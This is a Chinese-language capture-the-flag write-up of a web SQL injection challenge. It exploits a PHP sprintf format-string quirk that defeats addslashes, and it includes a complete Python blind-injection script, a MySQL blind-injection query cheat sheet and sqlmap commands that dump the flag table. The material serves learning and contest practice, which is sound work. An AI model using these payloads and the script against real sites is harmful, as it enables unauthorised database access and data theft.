# “迎圣诞，拿大奖”活动赛题 Web-SQLi

原创






## 进入题目网址


## 膜拜大佬的学习过程

随意测试用户名和密码，结果：存在admin用户，且会提示是用户名错误还是密码错误，结合题目，基本确定为sql注入类型题目

对用户名admin进行各种注入，发现在加上%会出现下图错误提示

> **Warning**: sprintf(): Too few arguments in **/var/www/html/index.php** on line **18**
>
> **Warning**: mysqli::query(): Empty query in **/var/www/html/index.php** on line **19**

各种查询资料发现sprintf()格式化字符会出现漏洞。
`sprintf(format,arg1,arg2,arg++)`：函数把格式化字符写入变量中，即将arg1,arg2等参数插入到format的百分号(%)中。并且是逐步执行，第一个百分号处插入arg1,第二个百分号处插入arg2,依次类推。

**注释：**

1. 当%多余arg参数时，需要使用占位符，如`$s = printf("%1\$s %2\$s %3\$s %s",'a','b','c');`–>`a b c a`,`%1`，`%2`，`%3`分别对应格式化`a`,`b`,`c`,`\$`代表有多个值准备格式化。即该参数还可重复使用，如第4个`%s`–>`a`
2. 测试发现占位符在format为双引号情况下使用`%1\$s`,单引号下使用`%1$s`。这是由于php中双引号内的`\$`会转义为`$`,而单引号不会进行转义，需要直接使用`$`。

**漏洞：**%后的第一个字符，都会被当做字符类型而被吃掉。也就是当做一个类型进行匹配后面的变量。如`%c`匹配ascii码，`%d`匹配整数，如果不在定义中的也会进行匹配，匹配为空。比如`%\`匹配任何参数都为空。

参考：
深入解析sprintf格式化字符串漏洞
sprintf格式化字符串带来的注入隐患
php中的sprintf坑

通过多次测试，猜测后台部分php代码如下：

```
<?php
...
$username = addslashes($_POST['username']);
$username = sprintf("username = '%s' ",$username);
$password = $_POST['password'];
...
$sql = sprintf("select * from t where $username and password = '%s' ", $password);
...
?>
```

明白以上原理，可以构造得到如下结果：
`username = admin%1$' and 1 = 1#`–>`password error!`
`username = admin%1$' and 1 = 2#`–>`username error!`
注入成功，可以进行盲注。
当然也可应使用or进行盲注，原理相同。

python盲注脚本（偷看大佬的）

```
# -*- coding: utf-8 -*-

'''
    limit 从0开始
    substr 从1开始
    不要把变量和函数命名相同，会出现冲突
    mysql的盲注语句还是不熟悉
    代码大框架很重要
'''

import requests

url="http://41b5114edd6a432fa703a0270406b627979e693f3ec645ce.changame.ichunqiu.com"
namechr_list=list(range(97, 123))+[95]+list(range(65, 91))+list(range(48, 58))
contentchr_list=namechr_list+list(range(123, 127))+list(range(32, 48))+list(range(58, 65))+list(range(91,
95))+[96]+[126]

def judge_response(name):
    headers = {'User-Agent': "Mozilla/5.0 (X11; Linux x86_64; rv:18.0) Gecko/20100101 Firefox/18.0"}
    payload = dict(username=name, password='test')
    response = requests.post(url=url, data=payload, headers=headers)
    judgement = response.text.split('!')[0]
```

```
    if judgement == 'password error':
        return True
    elif judgement == 'username error':
        return False

def database_length():
    for index in range(20):
        name_argv = "admin%1$'" + " and length(database()) = %d ;# " % (index)
        boolean = judge_response(name_argv)
        if boolean == True:
            return index
    return False

def database_name_test(location):
    for index in namechr_list:
        name_argv = "admin%1$'" + "and ascii(substr(database(),%d,1))=%d ;# " % (location, index)
        boolean = judge_response(name_argv)
        if boolean == True:
            return chr(index)
    return False

def database_name(len):
    name=''
    for index in range(1, len + 1):
        name = name + database_name_test(index)
    return name

def tables_number():
    for index in range(100):
        name_argv = "admin %1$'" + " and (select count(table_name) from information_schema.tables where ta
ble_schema=database()) = %d ;# " % (index)
        boolean = judge_response(name_argv)
        if boolean == True:
            return index
    return False

def table_length(num):
    for index in range(100):
        name_argv = "admin %1$'" + "and (select length(table_name) from information_schema.tables where ta
ble_schema=database() limit %d,1)=%d ;# "%(num, index)
        boolean = judge_response(name_argv)
        if boolean == True:
            return index
    return False

def table_name(table_len,table_num):
    name = ''
    for name_index in range(1, table_len + 1):
        for chr_index in namechr_list:
            name_argv = "admin %1$'" + " and ascii(substr((select table_name from information_schema.table
s where table_schema=database() limit %d,1),%d,1))=%d ;# "%(table_num, name_index, chr_index)
            boolean = judge_response(name_argv)
            if boolean == True:
                name = name + chr(chr_index)
                break
    return name


def columns_number(table_name):
    for index in range(100):
```

```
    for index in range(100):
        name_argv = "admin %1$'" + "and (select count(column_name) from information_schema.columns where t
able_name=%1$'{}%1$') = {} ;# ".format(table_name, index)
        boolean = judge_response(name_argv)
        if boolean == True:
            return index
    return False

def column_length(column_index, table_name):
    for index in range(100):
        name_argv = "admin%1$' " + "and (select length(column_name) from information_schema.columns where
table_name=%1$'{}%1$' limit {},1)={} ;#".format(table_name, column_index, index)
        boolean = judge_response(name_argv)
        if boolean == True:
            return index
            break
    return False

def column_name(column_len, column_index, table_name):
    name = ''
    for name_index in range(1, column_len + 1):
        for chr_index in namechr_list:
            name_argv = "admin %1$'" + "and ascii(substr((select column_name from information_schema.colum
ns where table_name=%1$'{}%1$' limit {},1),{},1)) = {} ;# ".format(table_name, column_index, name_index, ch
r_index)
            boolean = judge_response(name_argv)
            if boolean == True:
                name = name + chr(chr_index)
                break
    return name

def content_number(table_name):
    for index in range(100):
        name_argv = "admin %1$'" + "and (select count(*) from {}) = {} ;# ".format(table_name, index)
        boolean = judge_response(name_argv)
        if boolean == True:
            return index
    return False

def content_length(content_index, column_name, table_name):
    for index in range(100):
        name_argv = "admin %1$'" + " and (select length({}) from {} limit {},1) = {} ;# ".format(column_na
me, table_name, content_index, index)
        boolean = judge_response(name_argv)
        if boolean == True:
            return index
            break
    return False

def content_value(content_len, content_index, column_name, table_name):
    value = ''
    for value_index in range(1, content_len + 1):
        for chr_index in contentchr_list:
            name_argv = "admin %1$'" + " and ascii(substr((select {} from {} limit {},1),{},1)) = {} ;# ".
format(column_name, table_name, content_index, value_index, chr_index)
            boolean = judge_response(name_argv)
            if boolean == True:
                value = value + chr(chr_index)
                break
        #print(value)
```

```
    return value

if __name__=='__main__':
    database_len = database_length()
    database_name = database_name(database_len)
    print("database_name:%s"%database_name)
    tables_num = tables_number()
    for tab_index in range(tables_num): #遍历表
        tab_len = table_length(tab_index)
        tab_name = table_name(tab_len, tab_index)
        print("    table_name %s:%s"%(tab_index + 1, tab_name))
        columns_num = columns_number(tab_name)
        for column_index in range(columns_num): #遍历字段
            column_len = column_length(column_index, tab_name)
            column_nam = column_name(column_len, column_index, tab_name)
            print("        column_name %s:%s"%(column_index + 1, column_nam))
            contents_num = content_number(tab_name)
            for content_index in range(contents_num): #遍历内容
                content_len = content_length(content_index, column_nam, tab_name)
                content_val = content_value(content_len, content_index, column_nam, tab_name)
                print("            content_value %s:%s"%(content_index + 1, content_val))
```

**参考：**

[迎圣诞，拿大奖] Sqli writeup

mysql盲注语句回顾

以`test`数据库下表`tb_stu`的字段`id, name, sex, birghday`为例

数据库：

```
库名长度：AND LENGTH(DATABASE())=4
爆破库名：AND ASCII(SUBSTR(DATABASE(),1,1))=116
```

表：

```
本数据库下表的个数：AND (SELECT COUNT(table_name) FROM information_schema.tables WHERE table_schema=DATABASE())=8
表名长度：AND (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=DATABASE()LIMIT 0,1)=9
爆破表名：AND ASCII(SUBSTR((SELECT table_name FROM information_schema.tables WHERE table_schema=DATABASE() LIMIT 0,1),1,1))=101
```

字段：

```
表`tb_stu`中字段个数：AND (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_name='tb_stu')=4
字段名长度：AND (SELECT LENGTH(column_name) FROM information_schema.columns WHERE table_name='tb_stu' LIMIT 2,1)=4
爆破字段名：AND ASCII(SUBSTR((SELECT column_name FROM information_schema.columns WHERE table_name='tb_stu' LIMIT 1,1),1,1))=105
```

内容：

```
内容个数：AND (SELECT COUNT(*) FROM tb_stu)=5
字段`id`下的第一条内容长度：AND (SELECT LENGTH(id) FROM tb_stu LIMIT 1,1)=1
爆破字段`id`下第一条内容：AND ASCII(SUBSTR((SELECT id FROM tb_stu LIMIT 0,1),1,1))=50
```

## sqlmap 神器节省劳动力

使用burpsuite抓包保存日志，内容如下：

```
/home/sqlmap1.txt
POST / HTTP/1.1
Host: cceb93cd7df840c7ad483a8ae5cfbc38e9c2c4c2a4a244f0.changame.ichunqiu.com
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://cceb93cd7df840c7ad483a8ae5cfbc38e9c2c4c2a4a244f0.changame.ichunqiu.com/
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 29

username=admin&password=admin
```

sqlmap中时间盲注爆破数据库（`-p`指定注入参数；`--prefix`在参数前加固定字符串；`--dbs`爆破数据库）：

```
sqlmap -r /home/sqlmap1.txt  -p username --prefix="admin%1$' " --dbs
```

结果：

```
[*] ctf
[*] information_schema
```

爆破`ctf`数据库中的表（`-D` 指定数据库；`--tables` 爆破表名）：

```
sqlmap -r /home/sqlmap1.txt  -p username --prefix="admin%1$' " -f -D ctf --tables
```

结果：

```
+------+
| user |
| flag |
+------+
```

爆破`ctf`数据库下`flag`表的字段（`--columns`爆破字段）：

```
sqlmap -r /home/sqlmap1.txt  -p username --prefix="admin%1$' " -f -D ctf -T flag --columns
```

结果：

```
+--------+-------------+
| Column | Type        |
+--------+-------------+
| flag   | varchar(50) |
+--------+-------------+
```

爆破内容（`--dump`爆破表内容）：

```
sqlmap -r /home/sqlmap1.txt  -p username --prefix="admin%1$' " -f -D ctf -T flag -C flag --dump
```

即可获得flag

sqlmap神器，有待进一步研究使用。

==========

小白成长记，大佬请指点。